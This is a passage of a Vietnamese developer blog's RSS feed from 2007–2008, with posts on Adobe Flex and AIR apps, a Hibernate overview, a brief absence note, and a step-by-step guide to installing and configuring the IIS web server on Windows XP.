&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Buzzword:&lt;/strong&gt; ứng dụng soạn thảo tài liệu trực tuyến mà bạn có thể nhập vào bất cứ trình soạn thảo văn bản nào (.txt, .doc ...). Bạn có thể chia sẻ với mọi người, cho phép họ đọc, bình luận hay thậm chí chỉnh sữa và bạn đừng lo vì bạn có thể khôi phục lại bất cứ thay đổi nào.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Adobe ConnectNow:&lt;/strong&gt; Chia sẻ desktop của bạn với bất cứ ai trong buổi họp với các công cụ chat trực tuyến , nhắn tin và dủng webcam. Nó là ứng dụng hữu ích cho các cuộc họp ảo.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Adobe Share:&lt;/strong&gt; Không chỉ cho bạn 5 GB không gian lưu trữ miễn phí, mà còn cho phép bạn chia sẻ file với mọi người khi họ có email!&lt;/li&gt;&lt;/ul&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://acrobat.com/"&gt;&lt;img alt="Acrobat.com" src="http://www.riavietnam.com/images/image/Top10009.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;1. &lt;a target="_blank" href="http://mediamaster.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;MediaMaster&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Bạn có thể tưởng tượng việc ổ cứng bị rớt và bị mất hết dữ liệu bao gồm tài liệu, hình ảnh, trò chơi và đặc biệt đó là những bài nhạc bạn yêu thích? MediaMaster không thể giúp bạn cứu vớt những dữ liệu đó nhưng có thể giúp bạn lưu trữ thư viện nhạc để bạn không phải chép/tải hay mua lại chúng. Bạn cũng có thể tìm nghe các danh sách nhạc của những người dùng khác.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://mediamaster.com/"&gt;&lt;img alt="MediaMaster" src="http://www.riavietnam.com/images/image/Top10010.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="rtecenter"&gt;Theo Adobe tại:&lt;br /&gt;&lt;a href="http://www.adobe.com/devnet/flex/articles/apps_students.html?devcon=f2"&gt;http://www.adobe.com/devnet/flex/articles/apps_students.html?devcon=f2&lt;/a&gt;&lt;/p&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-4548523836124979772?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/tub-eAjdMbs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/tub-eAjdMbs/top-10-ng-dng-flex-v-air-dnh-cho-sinh.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2008/10/top-10-ng-dng-flex-v-air-dnh-cho-sinh.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-8352687127849167355</guid><pubDate>Fri, 10 Oct 2008 05:01:00 +0000</pubDate><atom:updated>2008-10-10T12:05:13.232+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">learn flex</category><category domain="http://www.blogger.com/atom/ns#">flex</category><category domain="http://www.blogger.com/atom/ns#">ria</category><title>Flex - Tương lai của RIA</title><description>Trong thời gian gần đây, sự xuất hiện và phát triển mạnh mẽ của công nghệ AJAX đã làm cho nhu cầu RIA (Rich Internet Application) gia tăng mạnh mẽ.                                                            &lt;div class="attribute-short"&gt;                 &lt;/div&gt;                                          &lt;div class="attribute-long"&gt;                   &lt;p&gt;Flash cũng là 1 công nghệ có thể xây dựng RIA bằng các ứng dụng Flash form nhưng tính tiện dụng của Flash là chưa cao. Adobe nhận thấy yếu điểm này của Flash nên đã nghiên cứu và cho ra đời công nghệ Flex . Phiên bản Flex 1.0 và 1.5 trước đây mặc dù còn nhiều yếu điểm song vẫn thu hút nhiều nhà thiết kế bởi cấu trúc mã lệnh và xử lý dữ liệu đơn giản, tầng trình diễn mạnh và quan trọng nhất là nó liên kết chặt chẽ với Flash, 1 công nghệ hiện đang rất phổ biến và tiện dụng. Sự kiện đánh dấu bước nhảy vọt của công nghệ Flex chính là giải thuởng 2007 Technology of the Year Awards trong lĩnh vực RIA dành cho phiên bản Flex 2.0 do tạp chí Info World tổ chức.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;1. Thành phần của Flex&lt;/b&gt;&lt;b&gt; &lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Flex 2.0 là sự kết hợp 2 công nghệ chính Multimedia eXtensible Markup Language (MXML) và Action Script dựa trên nền tảng phát triển Eclipse. Ngoài ra, còn một thành phần rất quan trọng khác của nền tảng Flex 2.0 là Dịch vụ dữ liệu Flex (Flex Data Services – FDS), được đưa ra để thay thế máy chủ trình diễn Flex (Flex Presentation Server) ở các phiên bản Flex trước đây&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;b&gt;MXML&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Là ngôn ngữ dựa trên XML giúp tạo ra các ứng dụng Flex. Cấu trúc của MXML khá giống với HTML, ta có thể xem qua ví dụ nhỏ sau:&lt;/p&gt;  &lt;p&gt;&lt;i&gt;&lt;mx:button x="100" y="100" label="Submit Now" id="btn_submit" click="CheckForm()"&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;Nhìn vào đoạn mã trên, đối với những người có chút kiến thức về IT có thể hiểu ngay nó dùng làm gì. Tương tự với HTML, các file MXML cũng cho phép nhúng các đoạn script vào trong và gọi ở nơi thích hợp. Chỉ khác ở chỗ là HTML sử dụng Java còn MXML thì sử dụng &lt;b&gt;Action Script. &lt;/b&gt;MXML mạnh hơn rất nhiều so với HTML bởi ngoài khả năng sử dụng các thành phần (component) phong phú được tạo sẵn, ta còn có thể tạo ra các component cũng như event . Có thể nói MXML mạnh mẽ không kém gì các ngôn ngữ lập trình thông thường hiện nay. Việc kết hợp các file MXML với nhau là việc rất dễ dàng, chính vì thế việc tái sử dụng hay xây dựng template cho 1 website trở nên nhẹ nhàng hơn.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;b&gt;Action Script 3.0&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Action script 3.0 hỗ trợ mô hình lập trình hướng đối tượng (OOP) hoàn chỉnh, giới thiệu các kiểu dữ liệu cơ bản và đặc biệt là từ khóa sealed class giúp tăng hiệu năng của ứng dụng. Hơn hẳn các ngôn ngữ script khác, action script có hẳn một thư viện đồ họa giúp vẽ các ảnh vector và tạo effect lúc runtime. Action script + MXMLl kết hợp với thư viện component đồ sộ của flex giúp tạo ra các ứng dụng web cực kì mạnh mẽ về tính năng và mỹ thuật.&lt;/p&gt;  &lt;p&gt;FDS&lt;/p&gt;  &lt;p&gt;FDS có thể chạy tốt trên nhiều nền tảng khác nhau như Windows, Linux, Unix và làm việc tốt với hầu hết các máy chủ ứng dụng Java. FDS cung cấp một số công cụ quản trị và giám sát cơ bản có thể truy nhập thông qua trình duyệt. Tuy nhiên, FDS được đưa ra chủ yếu để triển khai và chạy các ứng dụng Flex, tăng khả năng tích hợp và liên kết dữ liệu cấp doanh nghiệp.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;2. S&lt;/b&gt;&lt;b&gt;ức mạnh của Flex&lt;/b&gt;&lt;/p&gt;  &lt;div class="object-center embedded_object"&gt;&lt;div class="content-view-embed"&gt; &lt;div class="class-image"&gt;     &lt;div class="attribute-image"&gt;                                         &lt;img src="http://www.itaexpress.com.vn/var/ita/storage/images/tin_ita/cong_ngh_k_thu_t_s/tin_h_c/flex_t_ng_lai_c_a_ria/untitled_1_jpg/24348-1-vie-VN/untitled_1_jpg.jpg" style="border: 0px none ;" alt="" title="" width="400" height="371" /&gt;                            &lt;/div&gt;       &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Các công cụ trong Flex Builder và Flex Data Services đã đơn giản hoá việc phát triển ứng dụng và làm cho bản thân các ứng dụng này hoạt động tốt hơn. Các nhà phát triển cũng không phải bỏ tiền ra để sử dụng thành phần phát triển ứng dụng này. Flex SDK miễn phí bao gồm tất cả công cụ chương trình biên dịch, chương trình gỡ rối, và các mã cần thiết để tạo các ứng dụng Flex. Hơn nữa, giờ đây Flex SDK cũng có thể dùng để tạo các ứng dụng hoạt động độc lập mà không cần có sự hỗ trợ của máy chủ.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Điểm mạnh&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Khác với các phiên bản Flex trước đây, Flex 2.0 đã được cải tiến rất nhiều cả về tính năng và giao diện làm việc. Với Flex 2.0, người dùng khả năng chuyển đổi giữa thiết kế theo phương pháp kéo-thả và môi trường viết mã lệnh cho phép xây dựng từng phần của ứng dụng trong môi trường thích hợp nhất. Chẳng hạn, với khung nhìn thiết kế, người ta có thể kéo và thả các thành phần để bố cục ứng dụng rồi nhanh chóng xây dựng các phần trình diễn cơ bản cho ứng dụng. Trong khung nhìn mã lệnh, tất cả các trợ giúp viết mã cần thiết đều có sẵn để giúp hiệu chỉnh trực tiếp mã ứng dụng, thông tin định dạng (stylesheet) và các mã định nghĩa riêng của Flex như ActionScripts hay MXML.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Điểm yếu&lt;/b&gt;&lt;/p&gt;  &lt;p&gt; Điểm yếu Flex Builder lại chỉ tương thích duy nhất với môi trường Windows, điều mà người ta ít thấy ở các sản phẩm của hãng Adobe .Mặc dù Flex builder được phát triển trên nền tảng Eclipse – nền tảng được thiết kế để thực thi trên nhiều môi trường khác nhau và có FDS rất mạnh mẽ.&lt;br /&gt;&amp;shy;&amp;shy;Mặc dù việc tạo ra các ứng dụng Flex là khá dễ dàng đối với các nhà phát triển đã quen với lập trình ứng dụng Web và dịch vụ Web, Flex vẫn có một số thành phần khá phức tạp đối với các lập trình viên chưa thành thạo. Tuy vậy, bộ công cụ hỗ trợ cho lập trình viên của Flex khá mạnh với các ví dụ mẫu, hướng dẫn giải quyết tình huống trong từng hoàn cảnh cùng các trợ giúp khác giúp người dùng dễ dàng vượt qua các khó khăn trong quá trình phát triển ứng dụng Flex.&lt;br /&gt;Với những gì hiện có, Flex xứng đáng được vinh danh tại 2007 Technology of the Year Awards . Tương lai của RIA cần những cú huých như thế này để ngày càng phát triển lên những tầng cao mới. Flex đã mang lại bước tiến nhảy vọt cho RIA nói riêng và IT thế giới nói chung.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Võ Quân - &lt;a href="http://www.itaexpress.com.vn/tin_ita/cong_ngh_k_thu_t_s/tin_h_c/flex_t_ng_lai_c_a_ria"&gt;http://www.itaexpress.com.vn&lt;/a&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;             &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8352687127849167355?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/sPXzmAaIMBo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/sPXzmAaIMBo/flex-tng-lai-ca-ria.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2008/10/flex-tng-lai-ca-ria.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-8136197939868457840</guid><pubDate>Thu, 24 Apr 2008 17:53:00 +0000</pubDate><atom:updated>2008-04-25T00:59:17.767+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">busy</category><title>Sorry all!</title><description>&lt;span style="font-weight:bold;"&gt;Now, I'm very busy with my job, so you may (or may not) have noticed that I haven't really been around recently. No new posts, not answering comments or emails, etc......&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8136197939868457840?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/M8vOOKfelSU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/M8vOOKfelSU/sorry-all.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2008/04/sorry-all.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-5201163035541821206</guid><pubDate>Thu, 25 Oct 2007 14:41:00 +0000</pubDate><atom:updated>2007-10-25T21:41:48.945+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Frameworks Collection</category><title>Hibernate</title><description>&lt;h1&gt;Relational Persistence for Java and .NET&lt;/h1&gt;&lt;img style="float: left; margin-right: 10px; margin-bottom: 5px;" src="http://www.hibernate.org/tpl/hibernate3/img/hibernate_icon.gif" alt="" _base_href="http://www.hibernate.org/" border="0" height="120" width="120" /&gt;Hibernate is a powerful, high performance object/relational persistence and query service. Hibernate lets you develop persistent classes following object-oriented idiom - including association, inheritance, polymorphism, composition, and collections. Hibernate allows you to express queries in its own portable SQL extension (HQL), as well as in native SQL, or with an object-oriented Criteria and Example API.&lt;p&gt;Unlike many other persistence solutions, Hibernate does not hide the power of SQL from you and guarantees that your investment in relational technology and knowledge is as valid as always. The &lt;a href="http://www.gnu.org/copyleft/lesser.html" _base_href="http://www.hibernate.org/"&gt;LGPL&lt;/a&gt; open source license allows the use of Hibernate and NHibernate in open source and commercial projects.&lt;/p&gt;&lt;p&gt;Hibernate is a Professional Open Source project and a critical component of the &lt;a href="http://www.jboss.com/products/index" _base_href="http://www.hibernate.org/"&gt;JBoss Enterprise Middleware System&lt;/a&gt; (JEMS) suite of products. JBoss, a division of &lt;a href="http://www.redhat.com/" _base_href="http://www.hibernate.org/"&gt;Red Hat&lt;/a&gt;, offers a range of &lt;a href="http://www.hibernate.org/149.html" _base_href="http://www.hibernate.org/"&gt;24x7 Professional Support, Consulting, and Training services&lt;/a&gt; to assist you with Hibernate. &lt;/p&gt; &lt;table style="width: 580px;" _base_href="http://www.hibernate.org/" align="center" border="0"&gt;&lt;tbody _base_href="http://www.hibernate.org/"&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt;&lt;img style="width: 509px; height: 174px;" usemap="#hibernate_stacks" src="http://www.hibernate.org/hib_images/hibernate_stacks.gif" alt="" _base_href="http://www.hibernate.org/" border="0" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;table style="width: 648px; height: 362px;" _base_href="http://www.hibernate.org/" align="center" border="0" cellpadding="5"&gt;&lt;tbody _base_href="http://www.hibernate.org/"&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/344.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Core&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Hibernate for Java, native APIs and XML mapping metadata&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://hibernate.org/397.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Annotations&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Map classes with JDK 5.0 annotations&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://hibernate.org/397.html" _base_href="http://www.hibernate.org/"&gt;Hibernate EntityManager&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Standard Java Persistence API for Java SE and Java EE&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/414.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Shards&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Horizontal data partitioning framework&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/412.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Validator&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Data integrity annotations and validation API&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/410.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Search&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Hibernate integration with Lucene for indexing and querying data&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/255.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Tools&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Development tools for Eclipse and Ant&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/343.html" _base_href="http://www.hibernate.org/"&gt;NHibernate&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; The NHibernate service for the .NET framework&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://labs.jboss.com/portal/jbossseam/" _base_href="http://www.hibernate.org/"&gt;JBoss Seam&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Framework for JSF, Ajax, and EJB 3.0/Java EE 5.0 applications&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hibernate.org/"&gt;http://www.hibernate.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5201163035541821206?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/hyZr7fVKP2s" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/hyZr7fVKP2s/relational-persistence-for-java-and-net.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/relational-persistence-for-java-and-net.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-3634251577031098129</guid><pubDate>Mon, 22 Oct 2007 14:49:00 +0000</pubDate><atom:updated>2007-10-22T21:49:58.640+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Lập Trình Web</category><title>Hướng dẫn cài đặt webserver IIS</title><description>&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;strong&gt;&lt;a style="color: rgb(0, 0, 255); text-decoration: none;" name="1.hương dan cai dat webserver IIS"&gt;                                 &lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;Bạn vào menu Start -&gt; Control Panel -&gt; Add/Remove Program -&gt; Add/Remove Windows Components . Sau khi hộp thoại Add/Remove Windows Components xuất hiện, bạn kéo thanh trượt xuống dưới đến phần Internet Informations Services (15.7 MB) bạn đánh dấu check vào đó để chọn cài đặt IIS vào máy của bạn. Rồi nhấp Next để Windows cài đặt IIS cho bạn, bạn sẽ thấy có yêu cầu cho CD Windows XP vào máy. Hãy lấy đĩa CD mà bạn cài HĐH Windows trên máy của mình cho vào ổ CD, đợi khỏang 5 phút cho quá trình cài đặt kết thúc.&lt;br /&gt;Như vậy trình Webserver IIS đã được cài vào máy của bạn rồi đó.&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Sau                                  khi đã hoàn thành việc cài đặt IIS, vào Control                                  panel, Administrative tool, khởi động Interner                                  Services Manager:&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs1.gif" border="0" height="342" width="484" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;1.                                  Click chuột phải vào tên máy chủ (gốc của cây                                  được đánh dấu bởi dấu hoa thị), chọn New,                                  Website, cửa sổ Website Creation Wizard hiện ra,                                  chọn Next.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;2.                                  Đánh vào phần mô tả của Website của bạn và chọn                                  Next (Ví dụ: dyndns)&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs2.gif" border="0" height="355" width="490" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;3.                                  Trong trường IP address chọn All                                  Unssigned.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;4.                                  Trong trường port chọn port 80 hoặc port khác                                  nếu bạn sử dụng port thay thế (hoặc nếu ISP của                                  bạn khóa port 80).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;5.                                  Trong trường Header gõ vào tên miền (ví dụ:                                  dyndns.vnnic.net.vn) và chọn Next.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs3.gif" border="0" height="401" width="485" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: left;"&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;6.                                  Chọn vào Browser và trỏ tới thư mục nơi lưu trữ                                  các file của Website cho tên miền (domain) trên                                  (ví dụ: C:\Document and                                  Setting\Administrator\Mydocument\Website\Dyndns).                                  Đảm bảo chắc chắn rằng hộp thoại “Allow                                  anonymous access to website” đã được chọn nếu                                  bạn muốn tất cả người dùng đều nhìn thấy website                                  của bạn. Chọn Next.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: left;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs4.gif" border="0" height="398" width="482" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;7.                                  Có thể cấu hình thêm một số tuỳ chọn khác tuỳ                                  theo yêu cầu của bạn:&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs5.gif" border="0" height="383" width="477" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;8.                                  Chọn Finish để kết thúc quá trình thiết lập                                  Website.&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs6.gif" border="0" height="376" width="483" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bạn                                  có thể lặp lại các bước này để thiết lập các                                  Website khác.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bây                                  giờ tên Website đã xuất hiện trong danh sách                                  server.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;-                                  Để kiểm tra xem click chuột phải lên tên Website                                  và chọn vào Browse hoặc bật cửa sổ Internet                                  Explore (IE) lên và đánh tên miền của bạn vào                                  trường URL (ví dụ:                                  dyndns.vnnic.net.vn).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs7.gif" border="0" height="390" width="485" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bạn                                  có thể lặp lại chu trình trên để thiết lập nhiều                                  Website mà bạn muốn bằng IIS.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Cấu                                  hình và sửa lỗi cho các Website:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Nếu                                  bạn không nhìn thấy Website của mình hoặc chỉ                                  nhìn thấy cửa sổ login bạn sẽ phải cấu hình lại                                  cho chính xác quyền truy cập vào Website của                                  mình hoặc file index mà bạn sẽ dùng cho Website                                  của bạn.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;1.                                  Click chuột phải vào tên Website nằm trong danh                                  sách server mà bạn mới thiết lập và chọn                                  Property từ menu đó.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs8.gif" border="0" height="470" width="494" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: left;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;2.                                  